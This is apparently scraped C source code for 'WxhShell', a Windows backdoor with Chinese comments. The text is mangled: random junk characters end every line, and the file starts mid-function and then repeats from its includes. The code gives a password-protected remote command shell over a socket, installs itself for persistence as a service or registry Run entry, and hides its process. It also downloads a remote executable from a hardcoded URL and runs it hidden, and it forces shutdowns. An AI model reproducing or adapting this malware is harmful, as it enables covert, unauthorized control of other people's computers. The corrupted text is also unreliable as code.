    ExitThread(0); V\xQM;  
    } 0ib 6}L%  
    break; Pb`sn5;  
    } #,9|Hr%  
  // 关机 bQ4 }no0  
  case 'd': { a&cV@~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o. _^  
    if(Boot(SHUTDOWN)) So 5{E 4[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c ~C W-%wN  
    else { i'u;"ot=  
    closesocket(wsh); 7xcYM  
    ExitThread(0); qqAsh]Z  
    } @]7\.>)  
    break; ynd}w G'  
    } oy'+n-  
  // 获取shell YS~x-5OE\  
  case 's': { }v!6BU6<Q  
    CmdShell(wsh); 0qZ)$ YKq  
    closesocket(wsh); g[n8N{s  
    ExitThread(0); Lr~K3nb  
    break; ;K_B,@:'  
  } ditzl(L   
  // 退出 x?F{=\z/o  
  case 'x': { p?h;Sv/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); INT2i8oU  
    CloseIt(wsh); I"!{HnSG`  
    break; :({<"H)!'  
    } 4CCux4)N  
  // 离开 0k>&MkM\^  
  case 'q': { !K2[S J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W | }Hl{}  
    closesocket(wsh); 7wnzef?)  
    WSACleanup(); `sXx,sV?B  
    exit(1); 0T5>i 0/  
    break; {+EPE2X=C  
        } i_@RWka<  
  } i@6 /#  
  } r]S9z  
,ym;2hJ  
  // 提示信息 vP2QAGk <  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !L _ SHlU  
} uj@<_|7  
  } w\ :b(I  
&|4Uo5qS=Z  
  return; R;yAqr29  
} E6gEP0b  
*LVM}| f  
// shell模块句柄 ww2Qa-K  
int CmdShell(SOCKET sock) bi[l,  
{ q  ha1b$  
STARTUPINFO si; {P5@2u6S  
ZeroMemory(&si,sizeof(si)); m0,9yY::wj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g}-Z]2(c#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kA_ 3o)J  
PROCESS_INFORMATION ProcessInfo; ^&.?kJM  
char cmdline[]="cmd"; LA+MX 0*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v3"xJN_,[p  
  return 0; $Da^z[8e  
} ""d>f4,S  
a3 x~B=E  
// 自身启动模式 e2fct|'  
int StartFromService(void) B@=<'/S\7  
{ AIyv;}5  
typedef struct Kd)m"9Cc  
{ ss<'g@R  
  DWORD ExitStatus; [ lW "M  
  DWORD PebBaseAddress; ni> ;8O]=  
  DWORD AffinityMask; NjxW A&[ng  
  DWORD BasePriority; m+UdT854  
  ULONG UniqueProcessId; g@k9w{_  
  ULONG InheritedFromUniqueProcessId; (ZK >WoV  
}   PROCESS_BASIC_INFORMATION; jh G7sS|  
DE ws+y-*  
PROCNTQSIP NtQueryInformationProcess; m =}X$QF`^  
~'MWtDe:Z8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ->8q, W2A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pxx(BE  
r\d:fot  
  HANDLE             hProcess; =@ZtUjcJx  
  PROCESS_BASIC_INFORMATION pbi; l,FoK76G  
s>\g03=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @45H8|:k  
  if(NULL == hInst ) return 0; [u80-x<  
(do=o&9p m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hhGpB$A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %b;+/s2W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j!\0Fyr  
Yk Pt*?,P/  
  if (!NtQueryInformationProcess) return 0; dO,05?q|  
63S1ed [  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RHVv}N0  
  if(!hProcess) return 0; '.yWL  
&|'6-wD.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |sa7Y_  
@3c#\jx  
  CloseHandle(hProcess); kVnyX@  
b]BA,D 4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AFTed?(  
if(hProcess==NULL) return 0; Pfx71*u,  
_kN%6~+U  
HMODULE hMod; )c/y07er  
char procName[255]; )`mF.87b&h  
unsigned long cbNeeded; o$VH,2 QF  
>;v0zE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;|QR-m2/  
acY[?L_6J  
  CloseHandle(hProcess); ;/ KF3 %  
2TEeP7  
if(strstr(procName,"services")) return 1; // 以服务启动 K)&XQ`&  
8$UZL  
  return 0; // 注册表启动 vw] D{OBv*  
} 2bnIT>(  
X#,[2&17Fh  
// 主模块 7 afA'.=  
int StartWxhshell(LPSTR lpCmdLine)  /kU@S  
{ gsWlTI  
  SOCKET wsl; #.+*G`m  
BOOL val=TRUE; ;}~Bv<#  
  int port=0; YwWTv  
  struct sockaddr_in door; }#*zjMOz  
Z'dI!8(Nf  
  if(wscfg.ws_autoins) Install(); r/sRXM:3cZ  
Ko|xEz=  
port=atoi(lpCmdLine); E)wT+\  
zl 0^EltiU  
if(port<=0) port=wscfg.ws_port; ;n{j,HB  
dG>Wu o  
  WSADATA data; 8/?uU]#Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l=~9 9mE  
}|"*"kxi!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `OReSg 2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %GCd?cFF  
  door.sin_family = AF_INET; 50bP&dj&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |uwteG5?$s  
  door.sin_port = htons(port); TL{pc=eBo  
NvHy'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s k6|_  
closesocket(wsl); ,tF" 4|#  
return 1; Bj($_2M%+  
} u|>U`[Zpj  
nQ!#G(_nO  
  if(listen(wsl,2) == INVALID_SOCKET) { MQH8Q$5D  
closesocket(wsl); O\F^@;] F6  
return 1; *Gh8nQbh  
} ajW$d!  
  Wxhshell(wsl); i^cM@?  
  WSACleanup(); t>GLZzO  
W<N QU f[=  
return 0; 7K]U |K#  
D3AtYt  
} p z+}7  
4i\aW:_'i  
// 以NT服务方式启动 ^=Tu>{uD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5YG@[ic  
{ K<  
DWORD   status = 0; _B7?C:8Q-  
  DWORD   specificError = 0xfffffff; x*"pDI0k)  
pkV\D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K^& ]xFW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .'{6u;8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ID).*@(I"  
  serviceStatus.dwWin32ExitCode     = 0; _ KhEwd  
  serviceStatus.dwServiceSpecificExitCode = 0; +JAfHQm-  
  serviceStatus.dwCheckPoint       = 0; VBsFT2XiL  
  serviceStatus.dwWaitHint       = 0; iLd"tn'  
[xs)u3b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QRZTT qG  
  if (hServiceStatusHandle==0) return; 9Glfi@.  
IfmIX+t?  
status = GetLastError(); 9Bvn>+_K  
  if (status!=NO_ERROR) C`~4q<W'  
{ g yH7((#i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sEJ;t0.LX  
    serviceStatus.dwCheckPoint       = 0; -anFt+f-  
    serviceStatus.dwWaitHint       = 0; dYew 7  
    serviceStatus.dwWin32ExitCode     = status; (zro7gKked  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?r'TH/>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (VXx G/E3  
    return; ];{l$-$$  
  } O$umu_  
v6DxxE2n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )"c]FI[}  
  serviceStatus.dwCheckPoint       = 0; 60~>f)vu  
  serviceStatus.dwWaitHint       = 0; q~' K9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jyz$&jqyr'  
} 5IE+M  
uM#U!  
// 处理NT服务事件,比如:启动、停止 J,0WQQnb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q%kj[ZOY$]  
{ 6(q`Oj  
switch(fdwControl) o|^?IQ7bpf  
{ 3VRZM@i  
case SERVICE_CONTROL_STOP: qnk,E-  
  serviceStatus.dwWin32ExitCode = 0; 7ru9dg1?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZaUcP6[h  
  serviceStatus.dwCheckPoint   = 0; ?m9UhLeaS=  
  serviceStatus.dwWaitHint     = 0; N}x/&e  
  { {7![3`%7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q!2iOvK  
  } JPTI6"/  
  return; [cTRz*\s  
case SERVICE_CONTROL_PAUSE: K@j^gF/0B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c]aK N  
  break; ;/)Mcx]n  
case SERVICE_CONTROL_CONTINUE: :U-US|)(2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^;CR0.4  
  break; jY#(A23  
case SERVICE_CONTROL_INTERROGATE: )*TW\v`B  
  break; kTi PZZI  
}; ]dGr1 ncu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kO,VayjT  
} wUIsi<Oj  
/VmCN]2AZ  
// 标准应用程序主函数 H?=pWB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '[=yfh   
{ X4P}aC  
UU;-q_H6  
// 获取操作系统版本 Lr24bv\  
OsIsNt=GetOsVer(); s7UhC.>'@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L`HH);Ozw  
BudWbZ5>Ep  
  // 从命令行安装 we H@S  
  if(strpbrk(lpCmdLine,"iI")) Install(); A}#]g>L  
mS w?2ba  
  // 下载执行文件 An8%7xa7  
if(wscfg.ws_downexe) { =ve*g&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \\2k}TsB  
  WinExec(wscfg.ws_filenam,SW_HIDE); {sna)v$;  
} y[^k*,= 9  
]4 K1%ZV  
if(!OsIsNt) { ,. 6J6{  
// 如果时win9x,隐藏进程并且设置为注册表启动 a$xeiy9  
HideProc(); iKF$J3a\2f  
StartWxhshell(lpCmdLine); I", &%0ycm  
} M8#*zCp{5  
else Hlt8al3  
  if(StartFromService()) A'~%_}  
  // 以服务方式启动 C`yvBt40r  
  StartServiceCtrlDispatcher(DispatchTable); D8@n kSP  
else =$)4:  
  // 普通方式启动 #LN5&i;s  
  StartWxhshell(lpCmdLine); H4 }%;m%  
]< s\V-y  
return 0; =.qm8+  
} RVgPH<1X@e  
5q(]1|Se i  
#K :-Bys5v  
J0ZxhxX35  
=========================================== LC,*H0  
Yo~LckFF  
<THZ2`tTK3  
M('s|>\l  
(B _7\}v|_  
-y&v9OC2-  
" V-KL%  
kf%&d}2to  
#include <stdio.h> Ow cVPu_  
#include <string.h> &=F-moDD  
#include <windows.h> AW,v  
#include <winsock2.h> *#&k+{a^2  
#include <winsvc.h> oUJj5iu}  
#include <urlmon.h> lZ|L2Yg3uB  
K3vseor  
#pragma comment (lib, "Ws2_32.lib") C5O5S:|'  
#pragma comment (lib, "urlmon.lib") csH2_+uG  
==QWwPpA  
#define MAX_USER   100 // 最大客户端连接数 s<[A0=LH  
#define BUF_SOCK   200 // sock buffer h>}ax\h  
#define KEY_BUFF   255 // 输入 buffer ?z2jk  
?QCmSK=L  
#define REBOOT     0   // 重启 B.89_!/:p  
#define SHUTDOWN   1   // 关机 V]I:2k5  
?PBa'g  
#define DEF_PORT   5000 // 监听端口 QGs1zfh*  
uh]"(h(>  
#define REG_LEN     16   // 注册表键长度 z$JX'(<Z7  
#define SVC_LEN     80   // NT服务名长度 +hE',i.  
a q3~!T;W  
// 从dll定义API 3lo;^KX !  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2 \^G['9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @ Ii-NmOr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ye9Y^+-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x(L(l=^"  
, N53Iic  
// wxhshell配置信息 &4,WG  
struct WSCFG { |u@+`4o  
  int ws_port;         // 监听端口 :.*HQt9N  
  char ws_passstr[REG_LEN]; // 口令 ojHhT\M`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1HMUHZT  
  char ws_regname[REG_LEN]; // 注册表键名 >\V6+$cNp  
  char ws_svcname[REG_LEN]; // 服务名 ]UDd :2yt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q[7CPE0n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9<yAQ?7 L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rh@r\ H@j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "jMqt9ysN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JnfqXbE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4-mVB wq  
3Jk[/ .h  
}; H&M1>JtE  
|xn#\epy@  
// default Wxhshell configuration G6ayMw]OF  
struct WSCFG wscfg={DEF_PORT, m#tpbFAsc  
    "xuhuanlingzhe", >lrhHU  
    1, 8z Y)J#  
    "Wxhshell", .*BA 1sjE  
    "Wxhshell", #~L!pKM  
            "WxhShell Service", RctU'T  
    "Wrsky Windows CmdShell Service", |,b2b2v ?  
    "Please Input Your Password: ", >R!"P[*  
  1, l^\(ss0~  
  "http://www.wrsky.com/wxhshell.exe", U4BqO :sd  
  "Wxhshell.exe" 8p&kLo&  
    }; [F+(^- (  
Y9F)`1 7  
// 消息定义模块 cJCU*(7&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `ncNEHh7K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \)OEBN`9#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !xu9+{-  
char *msg_ws_ext="\n\rExit."; cFK @3a  
char *msg_ws_end="\n\rQuit."; YutQ]zYA.  
char *msg_ws_boot="\n\rReboot..."; l3.  
char *msg_ws_poff="\n\rShutdown..."; iv*V#J>  
char *msg_ws_down="\n\rSave to "; .}q]`<]ze  
ow$q7uf  
char *msg_ws_err="\n\rErr!"; }Z\wH*s`  
char *msg_ws_ok="\n\rOK!"; K UKACUL  
>!L&>OOx  
char ExeFile[MAX_PATH]; [E7MsX  
int nUser = 0; d+;gw*_Ei  
HANDLE handles[MAX_USER]; 8-m 3e  
int OsIsNt; K/txD20 O|  
~2@Lx3t$  
SERVICE_STATUS       serviceStatus; (9 sIA*,}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jNA1O68N  
4:7mK/Z  
// 函数声明 {^#2=`:)O  
int Install(void); *^] ~RhjB  
int Uninstall(void); Tzzq#z&F  
int DownloadFile(char *sURL, SOCKET wsh); Ytao"R/  
int Boot(int flag); aBhV3Fd[B  
void HideProc(void); "xe=N  
int GetOsVer(void); Mo D?2J  
int Wxhshell(SOCKET wsl); v!9i"@<!  
void TalkWithClient(void *cs); D8%AV; -Y  
int CmdShell(SOCKET sock); @Y}uZ'jt'  
int StartFromService(void); 7{e=="#*  
int StartWxhshell(LPSTR lpCmdLine); qj!eLA-aD  
MPIlSMe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X8i(~ B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5+- I5HX|~  
hN3u@P^  
// 数据结构和表定义 YuQ~AE'i  
SERVICE_TABLE_ENTRY DispatchTable[] = 7G<t"'  
{ D'b#,a;V  
{wscfg.ws_svcname, NTServiceMain}, %T!J$a)qf  
{NULL, NULL} ?P/AC$:|I  
}; (CJ.BHu]  
9@K.cdRjQ  
// 自我安装 o%`Xa#*Ly  
int Install(void) im]g(#GnKh  
{ G,XPT,:%  
  char svExeFile[MAX_PATH]; 6?qDdVR~]  
  HKEY key; #DFV=:|~  
  strcpy(svExeFile,ExeFile); <@G8ni  
KVPR}qTP;  
// 如果是win9x系统,修改注册表设为自启动 BQ/PGY>  
if(!OsIsNt) { \L # INP4~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ub_4yN;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EHn"n"Y  
  RegCloseKey(key); +/rH(Ni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,qQG;w,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3GH(wSv9\  
  RegCloseKey(key); k`\R+WK$  
  return 0; ]ikomCg   
    } -r<#rITH"  
  } "5Uh< X  
} 8z2Rry w  
else { CSTI?A"P  
g5Z#xszj+  
// 如果是NT以上系统,安装为系统服务  En6H%^d2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p`F9Amb  
if (schSCManager!=0) *|% ^0#$c  
{ B=Ym x2A9]  
  SC_HANDLE schService = CreateService c~=B0K-  
  ( =JS;;PzX[  
  schSCManager, y "w|g~x]c  
  wscfg.ws_svcname, pZ(Fx&fy  
  wscfg.ws_svcdisp, J=W0Xi !  
  SERVICE_ALL_ACCESS, ;sPoUn s'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9H0H u]zM  
  SERVICE_AUTO_START, $HJTj29/  
  SERVICE_ERROR_NORMAL, (=4W -z7  
  svExeFile, 4)6xU4eBaL  
  NULL, ,=QM#l]  
  NULL, b'YE9E  
  NULL, b:J(b?  
  NULL, V\]" }V)"  
  NULL p(F" /  
  ); /9pM>Cd*Z  
  if (schService!=0) IA&L]  
  { @n&<B`/  
  CloseServiceHandle(schService); I$t3qd{H&  
  CloseServiceHandle(schSCManager); _>m-AI4^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 44ed79ly0)  
  strcat(svExeFile,wscfg.ws_svcname); 5O/i3m26  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I 1Sa^7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %+)o'nf"U  
  RegCloseKey(key); @}-r&/#  
  return 0; )B# ,  
    } h#r^teui)  
  } \2 y5_;O  
  CloseServiceHandle(schSCManager); S=`+Ryc  
} a:TvWzX,  
} Kl{>jr8B3  
6 K` c/)  
return 1; `d]IX^;  
} JAjmrX  
'XrRhF (  
// 自我卸载 4+;$7"fJ  
int Uninstall(void) 4mjgt<`  
{ Y-mK+1 2  
  HKEY key; LhXUm  
lbdTQ6R  
if(!OsIsNt) { H9)m^ *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "syh=BC v  
  RegDeleteValue(key,wscfg.ws_regname);  p?D2)(  
  RegCloseKey(key); <*!i$(gn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U9y|>P\)T  
  RegDeleteValue(key,wscfg.ws_regname); +  @9.$6N  
  RegCloseKey(key); &,\=3 '  
  return 0; V r(J+1@  
  } N,dT3we  
} M 3 '$[  
} f/,>%j=Ms  
else { $''?HjB}T  
}9HmTr|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j(:I7%3&(*  
if (schSCManager!=0) h^9"i3H  
{ cJo\#cr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %@a8P  
  if (schService!=0) K;hh&sTB  
  { F~:O.$f]G  
  if(DeleteService(schService)!=0) { ?3ig)J,e[  
  CloseServiceHandle(schService); :2 >hoAJJ  
  CloseServiceHandle(schSCManager); 0Sq][W=  
  return 0; '>$EOg"  
  } >(w2GD?  
  CloseServiceHandle(schService); `afIYXP  
  } U[L9*=P;  
  CloseServiceHandle(schSCManager); RO;Bl:x4  
} p(;U@3G  
} ,;?S\V  
=gfI!w  
return 1; \<Sv3xy&O  
} YJg,B\z}  
0~wF3BgV  
// 从指定url下载文件 n+@F`]K e  
int DownloadFile(char *sURL, SOCKET wsh) (&|_quP7O  
{ @E( 7V(m/  
  HRESULT hr; HoV^Y6  
char seps[]= "/"; Oa;X +  
char *token; EN{]Qb06A  
char *file; !Cgx.   
char myURL[MAX_PATH]; " 96yp4v@  
char myFILE[MAX_PATH]; D(p\0V  
Jd\apBIf  
strcpy(myURL,sURL); 9)xUA;Qw?z  
  token=strtok(myURL,seps); ah @uUHB  
  while(token!=NULL) :@W.K5  
  { NNhL*C[_7  
    file=token; G22NQ~w8  
  token=strtok(NULL,seps); Pq*s{  
  } V.ht, ~l  
@`tXKP$so  
GetCurrentDirectory(MAX_PATH,myFILE); >Vy>O &r  
strcat(myFILE, "\\"); 21s4MagC  
strcat(myFILE, file); UYk>'\%H0  
  send(wsh,myFILE,strlen(myFILE),0); w -Nhs6  
send(wsh,"...",3,0); ? J} r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !USd9  
  if(hr==S_OK) 8}H1_y-g[  
return 0; ?D,=37  
else J PyOG _h  
return 1; xtPLR/Z  
lis/`B\x  
} *  tCS  
JN^ &S  
// 系统电源模块  Qk!;M |  
int Boot(int flag)  +`7KSwa  
{ xq6cKtSv  
  HANDLE hToken; N#lDW~e'  
  TOKEN_PRIVILEGES tkp; 'r(1Nj  
-a*K$rnB  
  if(OsIsNt) { DD" $1o"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1/p*tZP8i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {G <kA(Lm  
    tkp.PrivilegeCount = 1; s yU9O&<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y/e 2l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rqwzh@}  
if(flag==REBOOT) { ,q(&)L$S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =@TQ>Qw%b  
  return 0; #r PP*  
} 7+x? " 4  
else { ^pM+A6 XY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +<,gB $j  
  return 0; NmMIQ@K  
} 7t,t`  
  } dU\%Cq-G)  
  else { *:i1Lv@  
if(flag==REBOOT) { VG/3xR&y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U hIDRR  
  return 0; .jy]8S8[|%  
} yj4+5`|f  
else { *yl>T^DjTC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ax!+P\\2~  
  return 0; 7'NwJ,$6\  
} ~Lc066bLeq  
} Y+K|1r  
Vh}SCUof'  
return 1; /1?R?N2>0  
} @ HZKc\1  
r`c_e)STO  
// win9x进程隐藏模块 >0p$(>N]  
void HideProc(void) }j,[ 1@S  
{ $gBd <N9|c  
jxJv.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }|%eCVB  
  if ( hKernel != NULL ) L 8{\r$  
  { P/&]?f0/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ''\;z<v   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {'16:dTJ  
    FreeLibrary(hKernel); '!f5?O+E  
  } R |KD&!~Z  
r J KZ)N{  
return; 5NJ4  
} *T0q|P~o%  
k6=nO?$  
// 获取操作系统版本 'zh7_%  
int GetOsVer(void) NBb6T V}j  
{ <F11m(  
  OSVERSIONINFO winfo; !n6wWl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sg E-`#  
  GetVersionEx(&winfo); s+:=I e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =2w4C_  
  return 1; pm{|?R  
  else eAPXWWAZJ1  
  return 0; Y.^=]-n,  
} dMR3)CO  
lI>SUsQFfm  
// 客户端句柄模块  |W<+U  
int Wxhshell(SOCKET wsl) :$MG*/Q  
{ t4?DpE  
  SOCKET wsh; ktDC/8  
  struct sockaddr_in client; d GP*O  
  DWORD myID; Wu)>U  
R *F l8   
  while(nUser<MAX_USER) dL|+d:v  
{ jY_T/233d  
  int nSize=sizeof(client); !n^OM?.4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?W E  
  if(wsh==INVALID_SOCKET) return 1; m|OO,gR  
%X9r_Hx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q&:=<+2"  
if(handles[nUser]==0) .xB u-?6s6  
  closesocket(wsh); a1Qv@p^._b  
else NH_<q"gT  
  nUser++; !nAX$i~  
  } Ecs,$\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %v2R.?F8  
IKie1!ZU{"  
  return 0; cyJG8f  
} }^B6yWUN  
Ytgj|@jsp  
// 关闭 socket aZbw]0q@o  
void CloseIt(SOCKET wsh) l3 DYg  
{ )?wJF<[_#  
closesocket(wsh); ws^4?O  
nUser--; sUE?v9  
ExitThread(0); @?"h !fyu  
} KN-avu_Ix  
mS0udHod  
// 客户端请求句柄 vOg#Dqn-  
void TalkWithClient(void *cs) ,]T2$?|  
{ 'w1YFdW  
h,"4SSL  
  SOCKET wsh=(SOCKET)cs; ^eoLAL  
  char pwd[SVC_LEN]; s=[h?kB  
  char cmd[KEY_BUFF]; F`9]=T0  
char chr[1]; U!Ek'  
int i,j; |^@dFOz  
ul*Qt}  
  while (nUser < MAX_USER) { )Pv9_XKJ  
}pJwj  
if(wscfg.ws_passstr) { P (S>=,Y&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YtO|D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'fPdpnJ<  
  //ZeroMemory(pwd,KEY_BUFF); r [ K5w  
      i=0; MX+ Z ?  
  while(i<SVC_LEN) { ES40?o*]x  
w|Nz_3tI  
  // 设置超时 In[Cr/&/Y  
  fd_set FdRead; \}]!)}G  
  struct timeval TimeOut; O`vTnrY  
  FD_ZERO(&FdRead); Zkf0p9h\  
  FD_SET(wsh,&FdRead); $[yFsA6  
  TimeOut.tv_sec=8; FN[{s  
  TimeOut.tv_usec=0; yeHDa+}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^%` wJ.c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @_z4tUP  
;,]P=Ey  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~RWktv  
  pwd=chr[0]; MMj9{ou  
  if(chr[0]==0xd || chr[0]==0xa) { ,*7d  
  pwd=0; -ig6w.%lk  
  break; _2N$LLbg  
  } D1 &A,2wO  
  i++; <\;#jF%V  
    } 1T[et-  
&d|r~NhP  
  // 如果是非法用户,关闭 socket (64yg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !fj(tPq  
} ZI=v.wa  
<ZB1Vi9}8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5YrBW:_OI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }*L(;r)q  
<qGu7y"  
while(1) { Q~T$N  
{P*m;a`}  
  ZeroMemory(cmd,KEY_BUFF); |7zd%!  
3$X'Y]5a  
      // 自动支持客户端 telnet标准   HbW0wuI  
  j=0; QcpXn4/*  
  while(j<KEY_BUFF) { N$[{8yil^w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \<g*8?yFs  
  cmd[j]=chr[0]; p}cw{  
  if(chr[0]==0xa || chr[0]==0xd) { NQ6sGL  
  cmd[j]=0; k-}b{  
  break; 8Ac:_Zg  
  } ~*wk6&|  
  j++; {D=@n4JO  
    } f;b[w   
AnT3M.>ek  
  // 下载文件 p|]\P%,\  
  if(strstr(cmd,"http://")) { tPF.r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g1( IR)U!z  
  if(DownloadFile(cmd,wsh)) ? YG)I;(  
